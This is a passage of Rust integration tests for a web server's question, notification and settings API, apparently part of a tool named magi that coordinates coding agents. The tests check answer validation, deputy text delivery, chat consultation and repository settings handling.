12691            }))
12692        };
12693        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12694            .await
12695            .unwrap_err();
12696        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12697        let response = rejected.into_response();
12698        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
12699            .await
12700            .unwrap();
12701        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
12702        assert_eq!(body["code"], "question_text_unavailable");
12703        assert_eq!(body["reason"], "deputy_exhausted");
12704        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
12705        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
12706        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
12707        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
12708            .await
12709            .unwrap();
12710        assert_eq!(view.text_delivery.state, "live");
12711        assert!(view.question.waiter.is_none());
12712        assert!(view.question.cwd.is_none());
12713        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12714        ui.questions.drop_lease(&q.id);
12715        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12716            .await
12717            .unwrap_err();
12718        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12719        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12720        let _ = question_answer(
12721            State(ui.clone()),
12722            Path(q.id.clone()),
12723            Ok(Json(NewAnswer {
12724                choice: Some("hold".into()),
12725                text: None,
12726                ..Default::default()
12727            })),
12728        )
12729        .await
12730        .unwrap();
12731        assert_eq!(
12732            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12733            Some("hold")
12734        );
12735    }
12736
12737    #[tokio::test]
12738    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12739        let fx = Fixture::start().await;
12740        let store = fx.questions();
12741        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12742        store
12743            .update(&id, |q| {
12744                q.node = crate::land::APPROVAL_NODE.to_owned();
12745                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12746                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12747                Ok(())
12748            })
12749            .unwrap();
12750        let path = format!("/api/questions/{id}/say");
12751        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12752        assert_eq!(refused.status, 422, "{}", refused.body);
12753        assert!(
12754            refused.json()["error"]
12755                .as_str()
12756                .unwrap()
12757                .contains("deputy_exhausted")
12758        );
12759        assert!(store.get(&id).unwrap().thread.is_empty());
12760
12761        // A final live deputy is usable even with no ordinary waiter/cwd.
12762        store.beat(&id, ask::WaiterKind::Deputy);
12763        let view = fx.get("/api/questions").await.json();
12764        assert_eq!(view[0]["text_delivery"]["state"], "live");
12765        let accepted = fx
12766            .post(&path, Some(r#"{"body":"explain the findings"}"#))
12767            .await;
12768        assert_eq!(accepted.status, 200, "{}", accepted.body);
12769        let before = std::fs::read(store.path_of(&id)).unwrap();
12770
12771        // The recipient exits between rendering and sending. Rejection must
12772        // preserve previously accepted text, the answer and delivery cursor.
12773        store.drop_lease(&id);
12774        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12775        assert_eq!(refused.status, 422, "{}", refused.body);
12776        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12777        let held = fx
12778            .post(
12779                &format!("/api/questions/{id}/answer"),
12780                Some(r#"{"choice":"hold"}"#),
12781            )
12782            .await;
12783        assert_eq!(held.status, 200, "{}", held.body);
12784        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12785    }
12786
12787    #[tokio::test]
12788    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12789        let repo = tempfile::tempdir().unwrap();
12790        let mut cfg = stub_config();
12791        cfg.daemon.max_deputies = 0;
12792        std::fs::write(
12793            repo.path().join("magi.toml"),
12794            toml::to_string(&cfg).unwrap(),
12795        )
12796        .unwrap();
12797        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12798        let mut status = crate::daemon::Status::new();
12799        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12800        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12801        let id = ask(&fx, "Explain?", &["hold"]);
12802        fx.questions()
12803            .update(&id, |q| {
12804                q.node = crate::land::APPROVAL_NODE.into();
12805                q.deputy = Some(ask::Deputy::new("context".into()));
12806                q.deputy.as_mut().unwrap().agent = "stub".into();
12807                Ok(())
12808            })
12809            .unwrap();
12810        cfg.daemon.max_deputies = 1;
12811        std::fs::write(
12812            repo.path().join("magi.toml"),
12813            toml::to_string(&cfg).unwrap(),
12814        )
12815        .unwrap();
12816        let view = fx.get("/api/questions").await.json();
12817        assert_eq!(view[0]["deputies_enabled"], true);
12818        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12819        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12820        let res = fx
12821            .post(
12822                &format!("/api/questions/{id}/say"),
12823                Some(r#"{"body":"Please explain"}"#),
12824            )
12825            .await;
12826        assert_eq!(res.status, 422, "{}", res.body);
12827        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
12828    }
12829
12830    #[tokio::test]
12831    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
12832        let fx = Fixture::start().await;
12833        let id = ask(&fx, "No seat", &[]);
12834        let store = fx.questions();
12835        let before = std::fs::read(store.path_of(&id)).unwrap();
12836        let res = fx
12837            .post(
12838                &format!("/api/questions/{id}/say"),
12839                Some(r#"{"body":"hello"}"#),
12840            )
12841            .await;
12842        assert_eq!(res.status, 422, "{}", res.body);
12843        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12844        let res = fx
12845            .post(
12846                &format!("/api/questions/{id}/answer"),
12847                Some(r#"{"text":"hello"}"#),
12848            )
12849            .await;
12850        assert_eq!(res.status, 200, "{}", res.body);
12851        assert_eq!(
12852            store.get(&id).unwrap().resolution().as_deref(),
12853            Some("hello")
12854        );
12855    }
12856
12857    #[tokio::test]
12858    async fn saying_something_appends_a_turn_without_answering() {
12859        let fx = Fixture::start().await;
12860        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12861        fx.questions().beat(&id, ask::WaiterKind::Asker);
12862        let path = format!("/api/questions/{id}/say");
12863
12864        let res = fx
12865            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
12866            .await;
12867        assert_eq!(res.status, 200, "{}", res.body);
12868        let body = res.json();
12869        assert_eq!(body["status"], "open", "talking back is not a decision");
12870        assert_eq!(body["answer"], Value::Null);
12871        assert_eq!(body["thread"][0]["who"], "operator");
12872        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
12873        assert_eq!(body["waiting_on_agent"], true);
12874        // Still open, still counted, still exactly one question.
12875        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12876    }
12877
12878    #[tokio::test]
12879    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
12880        let fx = Fixture::start().await;
12881        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12882
12883        let list = fx.get("/api/questions").await.json();
12884        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
12885
12886        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
12887        assert_eq!(res.status, 409, "{}", res.body);
12888        let q = fx.questions().get(&id).unwrap();
12889        assert!(q.status.open());
12890        assert!(q.consult.is_none());
12891    }
12892
12893    #[tokio::test]
12894    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
12895        let fx = Fixture::start().await;
12896        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12897        let cfg = Config {
12898            agents: vec![crate::config::AgentSpec {
12899                id: "mock".to_owned(),
12900                kind: crate::config::AgentKind::Command,
12901                model: None,
12902                command: vec!["true".to_owned()],
12903                extra_args: Vec::new(),
12904                env: Default::default(),
12905                prompt_delivery: None,
12906                max_turn_secs: None,
12907            }],
12908            ..Config::default()
12909        };
12910        let talk = crate::talk::begin(
12911            &fx.talks(),
12912            &cfg,
12913            fx.home.path().to_path_buf(),
12914            Some("mock"),
12915        )
12916        .unwrap();
12917        let mut task = Task::new(
12918            "t".to_owned(),
12919            "Do it".to_owned(),
12920            PathBuf::from("/repo/magi"),
12921            Source::Agent {
12922                run: talk.id.clone(),
12923                node: crate::queue::CHAT_NODE.to_owned(),
12924            },
12925        );
12926        task.start("20260902-000000-beef".to_owned());
12927        fx.queue().put(&mut task).unwrap();
12928
12929        let list = fx.get("/api/questions").await.json();
12930        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12931        assert_eq!(
12932            list[0]["choices"],
12933            serde_json::json!(["SQLite", "Redis"]),
12934            "the hand-over is never a choice"
12935        );
12936        fx.questions()
12937            .update(&id, |q| {
12938                q.node = crate::land::APPROVAL_NODE.into();
12939                q.choices = vec!["merge".into(), "hold".into()];
12940                Ok(())
12941            })
12942            .unwrap();
12943        let list = fx.get("/api/questions").await.json();
12944        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12945        assert_eq!(list[0]["can_consult_chat"], true);
12946        fx.questions()
12947            .update(&id, |q| {
12948                q.node = crate::bump::NOTICE_NODE.into();
12949                Ok(())
12950            })
12951            .unwrap();
12952        let list = fx.get("/api/questions").await.json();
12953        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12954        assert_eq!(list[0]["can_consult_chat"], false);
12955    }
12956
12957    #[tokio::test]
12958    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
12959        let fx = Fixture::start().await;
12960        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12961        fx.questions()
12962            .update(&id, |q| {
12963                q.node = crate::land::APPROVAL_NODE.into();
12964                q.choices = vec!["merge".into(), "hold".into()];
12965                Ok(())
12966            })
12967            .unwrap();
12968        let cfg = Config {
12969            agents: vec![crate::config::AgentSpec {
12970                id: "mock".to_owned(),
12971                kind: crate::config::AgentKind::Command,
12972                model: None,
12973                command: vec!["true".to_owned()],
12974                extra_args: Vec::new(),
12975                env: Default::default(),
12976                prompt_delivery: None,
12977                max_turn_secs: None,
12978            }],
12979            ..Config::default()
12980        };
12981        // Not a git working tree, so its `magi.toml` is read from disk.
12982        let repo = fx.home.path().join("chat-repo");
12983        std::fs::create_dir_all(&repo).unwrap();
12984        let toml = repo.join("magi.toml");
12985        std::fs::write(&toml, "this is = = not toml").unwrap();
12986        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
12987        let mut task = Task::new(
12988            "t".to_owned(),
12989            "Do it".to_owned(),
12990            PathBuf::from("/repo/magi"),
12991            Source::Agent {
12992                run: talk.id.clone(),
12993                node: crate::queue::CHAT_NODE.to_owned(),
12994            },
12995        );
12996        task.start("20260902-000000-beef".to_owned());
12997        fx.queue().put(&mut task).unwrap();
12998
12999        let path = format!("/api/questions/{id}/consult");
13000        let res = fx.post(&path, None).await;
13001        assert!(res.status >= 400, "{}", res.body);
13002        assert!(fx.questions().get(&id).unwrap().consult.is_none());
13003        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13004
13005        std::fs::write(&toml, "").unwrap();
13006        let res = fx.post(&path, None).await;
13007        assert_eq!(res.status, 202, "{}", res.body);
13008        assert!(fx.questions().get(&id).unwrap().consult.is_some());
13009        let q = fx.questions().get(&id).unwrap();
13010        assert!(q.status.open());
13011        assert!(q.answer.is_none());
13012        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13013        assert_eq!(res.json()["can_consult_chat"], true);
13014        let list = fx.get("/api/questions").await.json();
13015        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13016        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13017
13018        let res = fx
13019            .post(
13020                &format!("/api/questions/{id}/answer"),
13021                Some(r#"{"choice":"hold"}"#),
13022            )
13023            .await;
13024        assert_eq!(res.status, 200, "{}", res.body);
13025        assert_eq!(res.json()["answer"]["choice"], "hold");
13026        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13027        assert_eq!(res.json()["can_consult_chat"], false);
13028        assert_eq!(fx.post(&path, None).await.status, 409);
13029
13030        let mut talk = fx.talks().get(&talk.id).unwrap();
13031        crate::talk::close(&mut talk, &fx.talks()).unwrap();
13032        let list = fx.get("/api/questions").await.json();
13033        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13034        assert_eq!(list[0]["origin_chat_closed"], true);
13035        assert_eq!(list[0]["can_consult_chat"], false);
13036
13037        fx.talks().remove(&talk.id).unwrap();
13038        let list = fx.get("/api/questions").await.json();
13039        assert_eq!(list[0]["origin_chat"], Value::Null);
13040        assert_eq!(list[0]["origin_chat_closed"], false);
13041        assert_eq!(list[0]["can_consult_chat"], false);
13042    }
13043
13044    #[tokio::test]
13045    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13046        let fx = Fixture::start().await;
13047        let store = fx.questions();
13048        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13049        store.beat(&id, ask::WaiterKind::Asker);
13050        assert_eq!(
13051            fx.get("/api/health").await.json()["questions_needs_owner"],
13052            1
13053        );
13054
13055        // The owner asks back instead of deciding: the ask bar, the nav badge
13056        // and the title must stop naming this question, because there is
13057        // nothing to decide until the agent answers - `status` alone cannot
13058        // say that, which is the whole reason `questions_needs_owner` exists
13059        // alongside `questions_open`.
13060        let res = fx
13061            .post(
13062                &format!("/api/questions/{id}/say"),
13063                Some(r#"{"body":"why not Postgres?"}"#),
13064            )
13065            .await;
13066        assert_eq!(res.status, 200, "{}", res.body);
13067        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13068        assert_eq!(
13069            fx.get("/api/health").await.json()["questions_needs_owner"],
13070            0,
13071            "waiting on the agent is not waiting on the owner"
13072        );
13073
13074        // `magi ask --thread` replying is what brings the owner count back -
13075        // the same event that would resume the CLI call blocked in `magi
13076        // ask`.
13077        let mut q = store.get(&id).expect("get");
13078        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13079            .expect("reply");
13080        store.put(&mut q).expect("put");
13081        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13082        assert_eq!(
13083            fx.get("/api/health").await.json()["questions_needs_owner"],
13084            1,
13085            "the agent's reply is what should light the banner back up"
13086        );
13087    }
13088
13089    #[tokio::test]
13090    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13091        let fx = Fixture::start().await;
13092        let store = fx.questions();
13093
13094        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13095        let res = fx
13096            .post(
13097                &format!("/api/questions/{empty_id}/say"),
13098                Some(r#"{"body":"   "}"#),
13099            )
13100            .await;
13101        assert_eq!(res.status, 400, "{}", res.body);
13102
13103        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13104        let mut answered = store.get(&answered_id).expect("get");
13105        answered
13106            .answer(Answer::Choice("SQLite".to_owned()))
13107            .expect("answer");
13108        store.put(&mut answered).expect("put");
13109        let res = fx
13110            .post(
13111                &format!("/api/questions/{answered_id}/say"),
13112                Some(r#"{"body":"still there?"}"#),
13113            )
13114            .await;
13115        assert_eq!(res.status, 409, "{}", res.body);
13116
13117        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13118        let mut abandoned = store.get(&abandoned_id).expect("get");
13119        abandoned.abandon("timed out");
13120        store.put(&mut abandoned).expect("put");
13121        let res = fx
13122            .post(
13123                &format!("/api/questions/{abandoned_id}/say"),
13124                Some(r#"{"body":"still there?"}"#),
13125            )
13126            .await;
13127        assert_eq!(res.status, 409, "{}", res.body);
13128    }
13129
13130    #[tokio::test]
13131    async fn an_answer_the_question_does_not_offer_is_refused() {
13132        let fx = Fixture::start().await;
13133        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13134        let path = format!("/api/questions/{id}/answer");
13135
13136        for body in [
13137            r#"{"choice":"Postgres"}"#,
13138            r#"{"text":"whatever you think"}"#,
13139            r#"{"choice":"Redis","text":"both"}"#,
13140            r#"{}"#,
13141        ] {
13142            let res = fx.post(&path, Some(body)).await;
13143            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13144            assert!(res.json()["error"].is_string(), "{}", res.body);
13145        }
13146        // Nothing above may have answered it.
13147        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13148    }
13149
13150    #[tokio::test]
13151    async fn a_free_text_question_takes_text_and_not_a_choice() {
13152        let fx = Fixture::start().await;
13153        let id = ask(&fx, "What should the flag be called?", &[]);
13154        fx.questions().beat(&id, ask::WaiterKind::Asker);
13155        let path = format!("/api/questions/{id}/answer");
13156
13157        assert_eq!(
13158            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13159            400
13160        );
13161        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13162        assert_eq!(res.status, 200, "{}", res.body);
13163        assert_eq!(res.json()["answer"]["text"], "--json");
13164    }
13165
13166    #[tokio::test]
13167    async fn an_unknown_question_is_a_json_404() {
13168        let fx = Fixture::start().await;
13169        let res = fx
13170            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13171            .await;
13172        assert_eq!(res.status, 404, "{}", res.body);
13173        assert!(res.json()["error"].is_string());
13174    }
13175
13176    #[tokio::test]
13177    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13178        let fx = Fixture::start().await;
13179        let questions = Questions::at(fx.home.path().join("questions"));
13180        let store = Notices::at(fx.home.path().join("notifications"));
13181        let mut q = ask::Question::new(
13182            "t1".into(),
13183            "conduct".into(),
13184            "conductor".into(),
13185            "Continue?".into(),
13186            String::new(),
13187            Vec::new(),
13188        );
13189        questions.put(&mut q).unwrap();
13190        let mut n = Notice::warn("task:t1", "Task t1 is held.");
13191        n.covered_by = Some(q.id.clone());
13192        let n = store.raise(n).unwrap();
13193        let listed = fx.get("/api/notifications").await.json();
13194        assert_eq!(listed["items"][0]["answerable_question"], q.id);
13195        questions
13196            .update(&q.id, |q| {
13197                q.abandon("run gone");
13198                Ok(())
13199            })
13200            .unwrap();
13201        let listed = fx.get("/api/notifications").await.json();
13202        assert!(listed["items"][0]["answerable_question"].is_null());
13203        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13204        assert!(
13205            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13206                .unwrap()
13207                .contains("answerable_question")
13208        );
13209    }
13210
13211    #[tokio::test]
13212    async fn notifications_list_read_dismiss_and_health_agree() {
13213        let fx = Fixture::start().await;
13214        let store = Notices::at(fx.home.path().join("notifications"));
13215        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
13216        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
13217
13218        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
13219        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
13220
13221        store
13222            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
13223            .unwrap();
13224        let health = fx.get("/api/health").await.json();
13225        assert_eq!(health["notifications_unread"], 2);
13226        assert_ne!(
13227            health["notifications_rev"], rev0,
13228            "the badge must move live"
13229        );
13230
13231        let listed = fx.get("/api/notifications").await.json();
13232        assert_eq!(listed["unread"], 2);
13233        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
13234        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
13235
13236        let read = fx
13237            .post(&format!("/api/notifications/{}/read", a.id), None)
13238            .await;
13239        assert_eq!(read.status, 200, "{}", read.body);
13240        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
13241
13242        let gone = fx
13243            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
13244            .await;
13245        assert_eq!(gone.status, 200, "{}", gone.body);
13246        let listed = fx.get("/api/notifications").await.json();
13247        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
13248        assert_eq!(listed["unread"], 0);
13249
13250        store.raise(Notice::info("x", "again")).unwrap();
13251        let all = fx.post("/api/notifications/read-all", None).await;
13252        assert_eq!(all.status, 200, "{}", all.body);
13253        assert_eq!(all.json()["marked"], 1);
13254        assert_eq!(
13255            fx.get("/api/health").await.json()["notifications_unread"],
13256            0
13257        );
13258
13259        let missing = fx.post("/api/notifications/nope/read", None).await;
13260        assert_eq!(missing.status, 404, "{}", missing.body);
13261        assert!(missing.json()["error"].is_string());
13262    }
13263
13264    /// New work reaches the queue through `magi task add`, a standing talk's
13265    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
13266    /// so the compose form and that route are gone. The tests that covered
13267    /// that route's validation went with it, and nothing was left asserting
13268    /// it stays gone — so a re-added handler would silently let the phone
13269    /// file briefs no one validated.
13270    #[tokio::test]
13271    async fn a_task_cannot_be_filed_over_the_phone_directly() {
13272        let f = Fixture::start().await;
13273
13274        let res = f
13275            .post(
13276                "/api/queue",
13277                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
13278            )
13279            .await;
13280
13281        assert_eq!(
13282            res.status, 405,
13283            "POST /api/queue must not be a route: {}",
13284            res.body
13285        );
13286        assert!(
13287            f.queue().list().is_empty(),
13288            "a task filed by a route that does not exist must not reach the disk"
13289        );
13290        // The path itself is still served — the Queue view reads it — and the
13291        // per-task controls are untouched by the entry being removed.
13292        assert_eq!(f.get("/api/queue").await.status, 200);
13293    }
13294
13295    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
13296    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
13297        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
13298            .expect("checkout dir");
13299    }
13300
13301    /// Two command agents, so a config needs no real CLI.
13302    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
13303
13304    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
13305        let tmp = TempDir::new().expect("tempdir");
13306        let repo = tmp.path().join("repo");
13307        std::fs::create_dir_all(&repo).expect("repo dir");
13308        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
13309        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
13310        if let Some(text) = machine_toml {
13311            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
13312            std::fs::write(&machine, text).expect("machine toml");
13313        }
13314        (tmp, repo, machine)
13315    }
13316
13317    async fn settings_checkout(path: &FsPath, text: &str) {
13318        std::fs::create_dir_all(path).unwrap();
13319        std::fs::write(path.join("magi.toml"), text).unwrap();
13320        for args in [
13321            vec!["init", "-b", "main"],
13322            vec!["add", "magi.toml"],
13323            vec![
13324                "-c",
13325                "user.name=Test",
13326                "-c",
13327                "user.email=test@example.invalid",
13328                "commit",
13329                "-m",
13330                "fixture",
13331            ],
13332            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
13333            vec![
13334                "symbolic-ref",
13335                "refs/remotes/origin/HEAD",
13336                "refs/remotes/origin/main",
13337            ],
13338        ] {
13339            crate::git::git(path, &args).await.unwrap();
13340        }
13341    }
13342
13343    #[tokio::test]
13344    async fn settings_context_handlers_validate_and_save_without_a_socket() {
13345        let (tmp, repo, machine) =
13346            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
13347        let root = tmp.path().join("roots");
13348        let selected = root.join("host/owner/selected");
13349        settings_checkout(
13350            &selected,
13351            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
13352        )
13353        .await;
13354        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
13355        let before = std::fs::read(&machine).unwrap();
13356        let ui = Arc::new(
13357            Ui::new(
13358                Queue::at(tmp.path().join("queue")),
13359                Questions::at(tmp.path().join("questions")),
13360                Talks::at(tmp.path().join("talks")),
13361                tmp.path().join("runs"),
13362                tmp.path().to_path_buf(),
13363                repo.clone(),
13364            )
13365            .with_machine_config(Some(machine.clone())),
13366        );
13367        let query = || {
13368            Query(SettingsQuery {
13369                repo: Some(selected.clone()),
13370            })
13371        };
13372        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
13373        assert!(v.error.is_none(), "{:?}", v.error);
13374        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
13375        assert_eq!(conductor.source, "repo");
13376        assert_eq!(
13377            conductor.machine_value,
13378            Some(toml::Value::String("a".into()))
13379        );
13380        assert!(!conductor.editable);
13381        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
13382        assert_eq!(
13383            judges.count.as_ref().unwrap().machine_value,
13384            Some(toml::Value::Integer(1))
13385        );
13386        assert!(
13387            !v.roles
13388                .iter()
13389                .find(|r| r.key == "reviewers")
13390                .unwrap()
13391                .editable
13392        );
13393        let unknown = || {
13394            Query(SettingsQuery {
13395                repo: Some(tmp.path().to_path_buf()),
13396            })
13397        };
13398        assert_eq!(
13399            settings_get(State(ui.clone()), unknown())
13400                .await
13401                .unwrap_err()
13402                .status,
13403            StatusCode::UNPROCESSABLE_ENTITY
13404        );
13405        let body = || {
13406            Ok(Json(RolesBody {
13407                revision: v.revision.clone(),
13408                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
13409                counts: Default::default(),
13410            }))
13411        };
13412        assert_eq!(
13413            settings_put_roles(State(ui.clone()), unknown(), body())
13414                .await
13415                .unwrap_err()
13416                .status,
13417            StatusCode::UNPROCESSABLE_ENTITY
13418        );
13419        assert_eq!(std::fs::read(&machine).unwrap(), before);
13420        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
13421            .await
13422            .unwrap();
13423        assert_eq!(
13424            saved.repo,
13425            selected.canonicalize().unwrap().display().to_string()
13426        );
13427        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13428        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13429        // A cache miss refreshes the stable candidate list exactly for validation.
13430        let fresh = root.join("host/owner/fresh");
13431        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
13432        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
13433            .await
13434            .unwrap();
13435        assert_eq!(fresh_view.repositories.len(), 3);
13436    }
13437
13438    #[tokio::test]
13439    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
13440        let (tmp, repo, machine) = settings_dirs(
13441            "[roles]\nreviewers = [\"a\"]\n",
13442            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
13443        );
13444        let root = tmp.path().join("roots");
13445        let selected = root.join("host/owner/selected");
13446        settings_checkout(
13447            &selected,
13448            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
13449        )
13450        .await;
13451        let broken = root.join("host/owner/broken");
13452        settings_checkout(&broken, "[roles\nbroken").await;
13453        let machine_text = format!(
13454            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
13455            toml::Value::String(root.display().to_string())
13456        );
13457        std::fs::write(&machine, &machine_text).unwrap();
13458        let originals: Vec<_> = [&repo, &selected, &broken]
13459            .iter()
13460            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
13461            .collect();
13462        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13463        let default = f.get("/api/settings").await.json();
13464        assert_eq!(
13465            default["repo"],
13466            repo.canonicalize().unwrap().display().to_string()
13467        );
13468        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
13469        let query = format!("?repo={}", selected.display());
13470        let res = f.get(&format!("/api/settings{query}")).await;
13471        assert_eq!(res.status, 200, "{}", res.body);
13472        let v = res.json();
13473        assert!(v["error"].is_null(), "{v}");
13474        assert_eq!(v["repositories"], default["repositories"]);
13475        let role = |key: &str| {
13476            v["roles"]
13477                .as_array()
13478                .unwrap()
13479                .iter()
13480                .find(|r| r["key"] == key)
13481                .unwrap()
13482        };
13483        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
13484        assert_eq!(role("advisors")["source"], "repo");
13485        assert_eq!(role("advisors")["editable"], false);
13486        assert!(role("advisors")["machine_value"].is_null());
13487        assert_eq!(role("judges")["count"]["value"], 2);
13488        assert_eq!(role("judges")["count"]["machine_value"], 1);
13489        assert_eq!(role("judges")["count"]["source"], "repo");
13490        let source = role("judges")["count"]["source_path"].as_str().unwrap();
13491        assert!(
13492            source.contains("origin/main") && !source.contains("magi/config/"),
13493            "{source}"
13494        );
13495        assert_eq!(
13496            role("reviewers")["editable"],
13497            false,
13498            "default context outside roots must protect its declarations"
13499        );
13500        let body =
13501            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
13502        let unknown = format!("?repo={}", tmp.path().display());
13503        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
13504        assert_eq!(
13505            f.put(&format!("/api/settings/roles{unknown}"), &body)
13506                .await
13507                .status,
13508            422
13509        );
13510        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
13511        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
13512            .to_string();
13513        assert_eq!(
13514            f.put(&format!("/api/settings/roles{query}"), &refuse)
13515                .await
13516                .status,
13517            422
13518        );
13519        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
13520        assert_eq!(saved.status, 200, "{}", saved.body);
13521        assert_eq!(saved.json()["repo"], v["repo"]);
13522        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
